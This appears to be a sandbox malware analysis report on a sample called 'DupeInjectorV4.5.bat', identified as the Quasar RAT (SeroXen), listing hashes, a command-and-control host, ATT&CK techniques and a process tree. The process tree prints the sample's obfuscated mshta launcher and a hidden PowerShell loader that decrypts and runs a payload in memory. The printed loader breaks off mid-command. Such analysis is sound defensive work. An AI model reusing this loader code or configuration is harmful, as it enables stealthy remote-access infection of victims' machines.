quasar | c0fb1a0aa966a7dc839dba656af70a418ec83e5a4bf198847e98463b6a83d466

Analysis

max time kernel
150s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02/08/2024, 19:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DupeInjectorV4.5.bat
Size 12.5MB
Sample240802-yh74aaserf
SHA256 c0fb1a0aa966a7dc839dba656af70a418ec83e5a4bf198847e98463b6a83d466
MD5 9ebe2b397ecf1a01e07e44afd46a5dc0
SHA1 63d042793e172b8eba86f6441da5d4ae062f1c9d
SHA512 fc1511b64e479552c0da59b077c6d7e7aab2b26b1b98dec6d61ed7c347c97755529c4baab0c8c0664469e52022ef8f9f7c3176bab77008b52c3fc8a34b8a348e
SSDEEP 49152:FcxMpA/HtGvmcs2tNbBOd5rHqPzIIT5M1S8svpEknvhasVRt2EDTttF+uzqT4Cx7:E
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar v2.2.3 | seroxen defense_evasion discovery spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v2.2.3 | SeroXen

infallible-water-17742.pktriot.net:22270

Mutex

96ae75a5-01d3-49c2-89ea-5383e9558b63

Attributes

encryption_key
8D3F0F423E546AEF9412DC2001F9C1DAB11CB7F5
install_name
.exe
log_directory
$sxr-Logs
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/1412-61-0x000001FA2C520000-0x000001FA2CCEA000-memory.dmp	family_quasar

Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 5460 created 5628	5460	WerFault.exe	108
PID 5756 created 2660	5756	WerFault.exe	114

Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs

description	pid	Process	procid_target
PID 2268 created 616	2268	DupeInjectorV4.5.bat.exe	5
PID 1412 created 616	1412	$sxr-powershell.exe	5
PID 1412 created 616	1412	$sxr-powershell.exe	5
PID 2268 created 616	2268	DupeInjectorV4.5.bat.exe	5
PID 1412 created 616	1412	$sxr-powershell.exe	5
PID 1412 created 616	1412	$sxr-powershell.exe	5
PID 5524 created 5628	5524	svchost.exe	108
PID 1412 created 616	1412	$sxr-powershell.exe	5
PID 5524 created 2660	5524	svchost.exe	114
PID 1412 created 616	1412	$sxr-powershell.exe	5
PID 1412 created 616	1412	$sxr-powershell.exe	5

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	DupeInjectorV4.5.bat.exe

Deletes itself 1 IoCs

pid	Process
2268	DupeInjectorV4.5.bat.exe

Executes dropped EXE 5 IoCs

pid	Process
2268	DupeInjectorV4.5.bat.exe
940	$sxr-mshta.exe
3364	$sxr-cmd.exe
1412	$sxr-powershell.exe
2200	$sxr-powershell.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe

Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
1412	$sxr-powershell.exe
2200	$sxr-powershell.exe

Suspicious use of SetThreadContext 18 IoCs

description	pid	Process	procid_target
PID 2268 set thread context of 2972	2268	DupeInjectorV4.5.bat.exe	87
PID 2268 set thread context of 1528	2268	DupeInjectorV4.5.bat.exe	90
PID 1412 set thread context of 4944	1412	$sxr-powershell.exe	95
PID 1412 set thread context of 3292	1412	$sxr-powershell.exe	96
PID 1412 set thread context of 1476	1412	$sxr-powershell.exe	98
PID 1412 set thread context of 4196	1412	$sxr-powershell.exe	99
PID 2268 set thread context of 4596	2268	DupeInjectorV4.5.bat.exe	101
PID 2268 set thread context of 3488	2268	DupeInjectorV4.5.bat.exe	102
PID 1412 set thread context of 3588	1412	$sxr-powershell.exe	103
PID 1412 set thread context of 5804	1412	$sxr-powershell.exe	106
PID 1412 set thread context of 5896	1412	$sxr-powershell.exe	107
PID 1412 set thread context of 5628	1412	$sxr-powershell.exe	108
PID 1412 set thread context of 5136	1412	$sxr-powershell.exe	112
PID 1412 set thread context of 2660	1412	$sxr-powershell.exe	114
PID 1412 set thread context of 2956	1412	$sxr-powershell.exe	117
PID 1412 set thread context of 5376	1412	$sxr-powershell.exe	118
PID 1412 set thread context of 1064	1412	$sxr-powershell.exe	119
PID 1412 set thread context of 5728	1412	$sxr-powershell.exe	120

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-powershell.exe	DupeInjectorV4.5.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	DupeInjectorV4.5.bat.exe
File created	C:\Windows\$sxr-mshta.exe	DupeInjectorV4.5.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	DupeInjectorV4.5.bat.exe
File created	C:\Windows\$sxr-cmd.exe	DupeInjectorV4.5.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	DupeInjectorV4.5.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
5288	5628	WerFault.exe	108
844	2660	WerFault.exe	114

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4336	cmd.exe
5808	PING.EXE

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
5680	taskkill.exe

Modifies data under HKEY_USERS 12 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1722628199"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5808	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2268	DupeInjectorV4.5.bat.exe
2268	DupeInjectorV4.5.bat.exe
2268	DupeInjectorV4.5.bat.exe
2972	dllhost.exe
2972	dllhost.exe
2972	dllhost.exe
2972	dllhost.exe
1528	dllhost.exe
1528	dllhost.exe
1528	dllhost.exe
1528	dllhost.exe
2268	DupeInjectorV4.5.bat.exe
2268	DupeInjectorV4.5.bat.exe
1412	$sxr-powershell.exe
1412	$sxr-powershell.exe
1412	$sxr-powershell.exe
1412	$sxr-powershell.exe
4944	dllhost.exe
4944	dllhost.exe
3292	dllhost.exe
3292	dllhost.exe
3292	dllhost.exe
3292	dllhost.exe
4944	dllhost.exe
4944	dllhost.exe
1412	$sxr-powershell.exe
1412	$sxr-powershell.exe
2200	$sxr-powershell.exe
2200	$sxr-powershell.exe
2200	$sxr-powershell.exe
2200	$sxr-powershell.exe
1412	$sxr-powershell.exe
1476	dllhost.exe
1476	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
4196	dllhost.exe
4196	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2268	DupeInjectorV4.5.bat.exe
Token: SeDebugPrivilege	2268	DupeInjectorV4.5.bat.exe
Token: SeDebugPrivilege	2972	dllhost.exe
Token: SeDebugPrivilege	1528	dllhost.exe
Token: SeDebugPrivilege	1412	$sxr-powershell.exe
Token: SeDebugPrivilege	1412	$sxr-powershell.exe
Token: SeDebugPrivilege	4944	dllhost.exe
Token: SeDebugPrivilege	3292	dllhost.exe
Token: SeDebugPrivilege	2200	$sxr-powershell.exe
Token: SeDebugPrivilege	1412	$sxr-powershell.exe
Token: SeDebugPrivilege	1476	dllhost.exe
Token: SeDebugPrivilege	4196	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2000	svchost.exe
Token: SeIncreaseQuotaPrivilege	2000	svchost.exe
Token: SeSecurityPrivilege	2000	svchost.exe
Token: SeTakeOwnershipPrivilege	2000	svchost.exe
Token: SeLoadDriverPrivilege	2000	svchost.exe
Token: SeSystemtimePrivilege	2000	svchost.exe
Token: SeBackupPrivilege	2000	svchost.exe
Token: SeRestorePrivilege	2000	svchost.exe
Token: SeShutdownPrivilege	2000	svchost.exe
Token: SeSystemEnvironmentPrivilege	2000	svchost.exe
Token: SeUndockPrivilege	2000	svchost.exe
Token: SeManageVolumePrivilege	2000	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2000	svchost.exe
Token: SeIncreaseQuotaPrivilege	2000	svchost.exe
Token: SeSecurityPrivilege	2000	svchost.exe
Token: SeTakeOwnershipPrivilege	2000	svchost.exe
Token: SeLoadDriverPrivilege	2000	svchost.exe
Token: SeSystemtimePrivilege	2000	svchost.exe
Token: SeBackupPrivilege	2000	svchost.exe
Token: SeRestorePrivilege	2000	svchost.exe
Token: SeShutdownPrivilege	2000	svchost.exe
Token: SeSystemEnvironmentPrivilege	2000	svchost.exe
Token: SeUndockPrivilege	2000	svchost.exe
Token: SeManageVolumePrivilege	2000	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2000	svchost.exe
Token: SeIncreaseQuotaPrivilege	2000	svchost.exe
Token: SeSecurityPrivilege	2000	svchost.exe
Token: SeTakeOwnershipPrivilege	2000	svchost.exe
Token: SeLoadDriverPrivilege	2000	svchost.exe
Token: SeSystemtimePrivilege	2000	svchost.exe
Token: SeBackupPrivilege	2000	svchost.exe
Token: SeRestorePrivilege	2000	svchost.exe
Token: SeShutdownPrivilege	2000	svchost.exe
Token: SeSystemEnvironmentPrivilege	2000	svchost.exe
Token: SeUndockPrivilege	2000	svchost.exe
Token: SeManageVolumePrivilege	2000	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2000	svchost.exe
Token: SeIncreaseQuotaPrivilege	2000	svchost.exe
Token: SeSecurityPrivilege	2000	svchost.exe
Token: SeTakeOwnershipPrivilege	2000	svchost.exe
Token: SeLoadDriverPrivilege	2000	svchost.exe
Token: SeSystemtimePrivilege	2000	svchost.exe
Token: SeBackupPrivilege	2000	svchost.exe
Token: SeRestorePrivilege	2000	svchost.exe
Token: SeShutdownPrivilege	2000	svchost.exe
Token: SeSystemEnvironmentPrivilege	2000	svchost.exe
Token: SeUndockPrivilege	2000	svchost.exe
Token: SeManageVolumePrivilege	2000	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2000	svchost.exe
Token: SeIncreaseQuotaPrivilege	2000	svchost.exe
Token: SeSecurityPrivilege	2000	svchost.exe
Token: SeTakeOwnershipPrivilege	2000	svchost.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1412	$sxr-powershell.exe
5864	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5084 wrote to memory of 2268	5084	cmd.exe	85
PID 5084 wrote to memory of 2268	5084	cmd.exe	85
PID 2268 wrote to memory of 2972	2268	DupeInjectorV4.5.bat.exe	87
PID 2268 wrote to memory of 2972	2268	DupeInjectorV4.5.bat.exe	87
PID 2268 wrote to memory of 2972	2268	DupeInjectorV4.5.bat.exe	87
PID 2268 wrote to memory of 2972	2268	DupeInjectorV4.5.bat.exe	87
PID 2268 wrote to memory of 2972	2268	DupeInjectorV4.5.bat.exe	87
PID 2268 wrote to memory of 2972	2268	DupeInjectorV4.5.bat.exe	87
PID 2268 wrote to memory of 2972	2268	DupeInjectorV4.5.bat.exe	87
PID 2268 wrote to memory of 2380	2268	DupeInjectorV4.5.bat.exe	88
PID 2268 wrote to memory of 2380	2268	DupeInjectorV4.5.bat.exe	88
PID 2268 wrote to memory of 2380	2268	DupeInjectorV4.5.bat.exe	88
PID 2268 wrote to memory of 4108	2268	DupeInjectorV4.5.bat.exe	89
PID 2268 wrote to memory of 4108	2268	DupeInjectorV4.5.bat.exe	89
PID 2268 wrote to memory of 4108	2268	DupeInjectorV4.5.bat.exe	89
PID 2268 wrote to memory of 1528	2268	DupeInjectorV4.5.bat.exe	90
PID 2268 wrote to memory of 1528	2268	DupeInjectorV4.5.bat.exe	90
PID 2268 wrote to memory of 1528	2268	DupeInjectorV4.5.bat.exe	90
PID 2268 wrote to memory of 1528	2268	DupeInjectorV4.5.bat.exe	90
PID 2268 wrote to memory of 1528	2268	DupeInjectorV4.5.bat.exe	90
PID 2268 wrote to memory of 1528	2268	DupeInjectorV4.5.bat.exe	90
PID 2268 wrote to memory of 1528	2268	DupeInjectorV4.5.bat.exe	90
PID 2268 wrote to memory of 1528	2268	DupeInjectorV4.5.bat.exe	90
PID 2268 wrote to memory of 1528	2268	DupeInjectorV4.5.bat.exe	90
PID 940 wrote to memory of 3364	940	$sxr-mshta.exe	92
PID 940 wrote to memory of 3364	940	$sxr-mshta.exe	92
PID 3364 wrote to memory of 1412	3364	$sxr-cmd.exe	94
PID 3364 wrote to memory of 1412	3364	$sxr-cmd.exe	94
PID 1412 wrote to memory of 4944	1412	$sxr-powershell.exe	95
PID 1412 wrote to memory of 4944	1412	$sxr-powershell.exe	95
PID 1412 wrote to memory of 4944	1412	$sxr-powershell.exe	95
PID 1412 wrote to memory of 4944	1412	$sxr-powershell.exe	95
PID 1412 wrote to memory of 4944	1412	$sxr-powershell.exe	95
PID 1412 wrote to memory of 4944	1412	$sxr-powershell.exe	95
PID 1412 wrote to memory of 4944	1412	$sxr-powershell.exe	95
PID 1412 wrote to memory of 3292	1412	$sxr-powershell.exe	96
PID 1412 wrote to memory of 3292	1412	$sxr-powershell.exe	96
PID 1412 wrote to memory of 3292	1412	$sxr-powershell.exe	96
PID 1412 wrote to memory of 3292	1412	$sxr-powershell.exe	96
PID 1412 wrote to memory of 3292	1412	$sxr-powershell.exe	96
PID 1412 wrote to memory of 3292	1412	$sxr-powershell.exe	96
PID 1412 wrote to memory of 3292	1412	$sxr-powershell.exe	96
PID 1412 wrote to memory of 3292	1412	$sxr-powershell.exe	96
PID 1412 wrote to memory of 3292	1412	$sxr-powershell.exe	96
PID 1412 wrote to memory of 2200	1412	$sxr-powershell.exe	97
PID 1412 wrote to memory of 2200	1412	$sxr-powershell.exe	97
PID 1412 wrote to memory of 1476	1412	$sxr-powershell.exe	98
PID 1412 wrote to memory of 1476	1412	$sxr-powershell.exe	98
PID 1412 wrote to memory of 1476	1412	$sxr-powershell.exe	98
PID 1412 wrote to memory of 1476	1412	$sxr-powershell.exe	98
PID 1412 wrote to memory of 1476	1412	$sxr-powershell.exe	98
PID 1412 wrote to memory of 1476	1412	$sxr-powershell.exe	98
PID 1412 wrote to memory of 1476	1412	$sxr-powershell.exe	98
PID 1412 wrote to memory of 1476	1412	$sxr-powershell.exe	98
PID 1412 wrote to memory of 1476	1412	$sxr-powershell.exe	98
PID 1412 wrote to memory of 4196	1412	$sxr-powershell.exe	99
PID 1412 wrote to memory of 4196	1412	$sxr-powershell.exe	99
PID 1412 wrote to memory of 4196	1412	$sxr-powershell.exe	99
PID 1412 wrote to memory of 4196	1412	$sxr-powershell.exe	99
PID 1412 wrote to memory of 4196	1412	$sxr-powershell.exe	99
PID 1412 wrote to memory of 4196	1412	$sxr-powershell.exe	99
PID 1412 wrote to memory of 4196	1412	$sxr-powershell.exe	99
PID 1412 wrote to memory of 4196	1412	$sxr-powershell.exe	99
PID 1412 wrote to memory of 4196	1412	$sxr-powershell.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5724	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:316
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f00e55c9-fa06-484b-99c5-e4c9622bfb98}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2972
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{040c9e1c-c806-43a4-80fd-1615181bcaac}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4944
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{5e792ecc-cd82-42e2-a5ba-f2d5c72fda19}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1476
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{8583375c-e29d-4809-9f10-839f4c561656}
  2⤵
  PID:4596
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{b8e54bd1-b01e-4ae7-a62e-867ac6341b75}
  2⤵
  PID:3588
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f2da0c85-d39d-4646-a149-218e684135a9}
  2⤵
  PID:5896
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{1b2ffa1a-02ff-4f91-9a66-e4584627c678}
  2⤵
  PID:5136
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{67b3fa8c-3bd8-4a1e-8ba4-5f3f440af1cb}
  2⤵
  PID:2956
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{c8f49e04-5298-4440-bbf4-921baf0ea481}
  2⤵
  PID:1064

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:392

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:924

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1104
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2768
- C:\Windows\$sxr-mshta.exe
  C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-ZvJKuxkHkDXWjEMmydLw4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:940
- - C:\Windows\$sxr-cmd.exe
    "C:\Windows\$sxr-cmd.exe" /c %$sxr-ZvJKuxkHkDXWjEMmydLw4312:&#<?=%
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3364
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4888
  - - C:\Windows\$sxr-powershell.exe
      C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function CAFkL($cuamb){ $uoEAJ=[System.Security.Cryptography.Aes]::Create(); $uoEAJ.Mode=[System.Security.Cryptography.CipherMode]::CBC; $uoEAJ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $uoEAJ.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Vlurw6q3ppYQMdLVjgZh9Vk1oDyFfymar9QkJTl7yaY='); $uoEAJ.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IyfCkQoYLtcu/Gm2ZVmHHg=='); $DiAdW=$uoEAJ.('rotpyrceDetaerC'[-1..-15] -join '')(); $pwjsm=$DiAdW.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cuamb, 0, $cuamb.Length); $DiAdW.Dispose(); $uoEAJ.Dispose(); $pwjsm;}function gCgjZ($cuamb){ $WQmxo=New-Object System.IO.MemoryStream(,$cuamb); $KxxmE=New-Object System.IO.MemoryStream; $UVdUC=New-Object System.IO.Compression.GZipStream($WQmxo, [IO.Compression.CompressionMode]::Decompress); $UVdUC.CopyTo($KxxmE); $UVdUC.Dispose(); $WQmxo.Dispose(); $KxxmE.Dispose(); $KxxmE.ToArray();}function cwMzC($cuamb,$RYFFX){ $XZQiZ=[System.Reflection.Assembly]::Load([byte[]]$cuamb); $DOwuk=$XZQiZ.EntryPoint; $DOwuk.Invoke($null, $RYFFX);}$uoEAJ1 = New-Object System.Security.Cryptography.AesManaged;$uoEAJ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$uoEAJ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$uoEAJ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Vlurw6q3ppYQMdLVjgZh9Vk1oDyFfymar9QkJTl7yaY=');$uoEAJ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IyfCkQoYLtcu/Gm2ZVmHHg==');$EOmta = $uoEAJ1.('rotpyrceDetaerC'[-1..-15] -join '')();$LTSaq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jYpPANZn3TWH8CxXX/5Oig==');$LTSaq = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LTSaq, 0, $LTSaq.Length);$LTSaq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LTSaq);$qQQJv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zmLWeTLcuckJRw84X6DXUaf+pqvsBV4DEbvMCoVAdjE=');$qQQJv = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qQQJv, 0, $qQQJv.Length);$qQQJv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qQQJv);$WTMAq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tZc398OLxYkOVJLUpt9Ojw==');$WTMAq = $EOmta.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WTMAq, 0, $WTMAq.Length);$WTMAq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WTMAq);$iXopn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 